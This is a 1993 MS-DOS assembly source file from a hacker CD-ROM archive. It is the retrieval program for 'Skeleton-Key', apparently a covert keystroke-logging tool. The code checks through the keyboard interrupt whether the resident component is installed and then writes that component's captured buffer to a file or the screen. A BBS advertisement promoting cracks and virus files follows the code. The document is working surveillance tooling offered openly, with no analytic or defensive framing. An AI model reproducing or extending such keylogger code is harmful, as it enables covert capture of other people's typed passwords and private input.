home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / skel_key.arj / READKEY.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-12-27  |  4.4 KB  |  180 lines
  1. ;Skeleton-Key information retrieval program source code.
  2.  
  3. .model tiny
  4. .radix 16
  5. .code
  6.         org 100h
  7. start:
  8.         mov     ax,0f00dh
  9.         mov     bx,ax
  10.         mov     cx,ax
  11.         mov     dx,ax
  12.         mov     si,ax
  13.         mov     di,ax
  14.         int     09
  15.  
  16.         mov     cx,4
  17.         rol     ax,cl
  18.         cmp     ax,0f00dh
  19.         je      continueon
  20. FileNotInstalled:
  21.         push    cs
  22.         pop     ds
  23.         mov     ah,09
  24.         mov     dx,offset NotInstalled
  25.         int     21
  26.         mov     ax,4c00
  27.         int     21
  28.  
  29. continueon:
  30.         push    es ds
  31.         call    DumpReq        
  32.         pop     ds es
  33.         int     20
  34.         
  35. DumpReq:
  36.         push    ds dx
  37.         push    cs
  38.         pop     ds
  39.         mov     ah,09
  40.         mov     dx, offset OurMessage
  41.         int     21
  42.         pop     dx ds
  43.  
  44. WaitForCorrectKey:
  45.         xor     ax,ax
  46.         int     16
  47.         or      al,20
  48.         cmp     al,'f'
  49.         je      FileDump
  50.         cmp     al,'s'
  51.         je      ScreenDump
  52.         jmp     WaitForCorrectKey
  53. DoneDumps:
  54.         ret
  55.  
  56. FileDump:
  57.         mov     ah,3c
  58.         xor     cx,cx
  59.         int     21h
  60.         jc      FileError
  61.         xchg    bx,ax
  62.         mov     dx,si
  63.         mov     cx,100        
  64.         
  65.         push    cs
  66.         pop     ds
  67.         
  68. Write_Loop:        
  69.         push    cx
  70.         mov     al,byte ptr es:[si]
  71.         inc     si
  72.         or      al,al
  73.         jnz     StoreByte
  74.         mov     al,20
  75.  
  76. StoreByte:
  77.         mov     byte ptr [Byte2Write],al
  78.  
  79.         call    WritecharF
  80.  
  81.         cmp     byte ptr cs:[Byte2Write],0dh
  82.         jne     NotRet1
  83.         mov     byte ptr cs:[Byte2Write],0ah
  84.         call    WritecharF
  85.  
  86. NotRet1:        
  87.         pop     cx
  88.         loop    Write_Loop
  89.        
  90.  
  91.         mov     ah,3e
  92.         int     21
  93.         jmp     DoneDumps
  94.  
  95. ScreenDump:
  96.         mov     cx,100
  97.  
  98. ScreenLoop:        
  99.         push    cx
  100.         lodsb
  101.         or      al,al
  102.         je      NoPrintEm
  103.   PrintChar:        
  104.         mov     ah,0e
  105.         mov     cx,1
  106.         xor     bx,bx
  107.         int     10
  108.  
  109.         cmp     al,0dh
  110.         jne     NoPrintEm
  111.         mov     al,0ah
  112.         jmp     PrintChar
  113.         
  114.    NoPrintEm:
  115.         pop     cx
  116.         loop    ScreenLoop
  117.         
  118.         jmp     DoneDumps
  119.  
  120.  
  121. FileError:
  122.         mov     dx,offset Ferror
  123.  
  124.  PrintError:        
  125.         mov     ah,09
  126.         int     21
  127.         push    cs cs
  128.         pop     ds es
  129.         jmp     DoneDumps
  130. FileError2:
  131.         pop     cx cx
  132.         mov     dx,offset Ferror2
  133.         jmp     PrintError
  134.  
  135. Ferror  db      'Error Creating File!$'
  136. Ferror2 db      'Error Writing To File!$'
  137. Byte2Write      db      0
  138.  
  139. WriteCharF:        
  140.         mov     ah,40
  141.         mov     cx,1
  142.         mov     dx,offset Byte2Write
  143.         int     21
  144.         jc      FileError2
  145.         ret
  146.  
  147. OurMessage:      
  148. db      'Thank you for using Skeleton-Key (c) 1993 National Spooks Anonymous.',0a,0dh  
  149. db      'Dump to File or Screen (F/S)? $'
  150. NotInstalled    db      'Hmmm.... Skeleton-Key does not seem to be installed.  Try doing that first.',0dh,0a,24
  151. end start
  152.  
  153.  
  154.  
  155.  
  156.  
  157. ;--- NOT PART OF SOURCE CODE --- BLATENT, POINTLESS BBS AD FOLLOWS ---
  158. ;________________________________________________________________________
  159. ;
  160. ;This file was downloaded from the ....
  161. ;
  162. ;        ┌─────────────────────────────────────────────────┐
  163. ;        │██▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀██│
  164. ;        │█   A D J A C E N T   R E A L I T Y   B B S     █│
  165. ;        │█  ─────────────────────────────────────────    █│
  166. ;        │█   Forum for non-censored discussion and file  █│
  167. ;        │█   exchange for the expierenced computer user. █│
  168. ;        │█                                               █│
  169. ;   ┌──────────────────────────────────────────────────────────┐
  170. ;   │ ■ Cracks & Unprotects             ■ Animations           │
  171. ;   │ ■ Encryption                      ■ Home of SFDNC,SU,    │
  172. ;   │ ■ Virus/Anti-Virus                  SFNEW and much more. │
  173. ;   │ ■ Virtual Reality                 ■ ACTIVE message bases │
  174. ;   └──────────────────────────────────────────────────────────┘
  175. ;        │█         Call now at (615) 586-9515            █│
  176. ;        │█                                               █│
  177. ;        │██▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄██│
  178. ;        └─────────────────────────────────────────────────┘
  179.  
  180.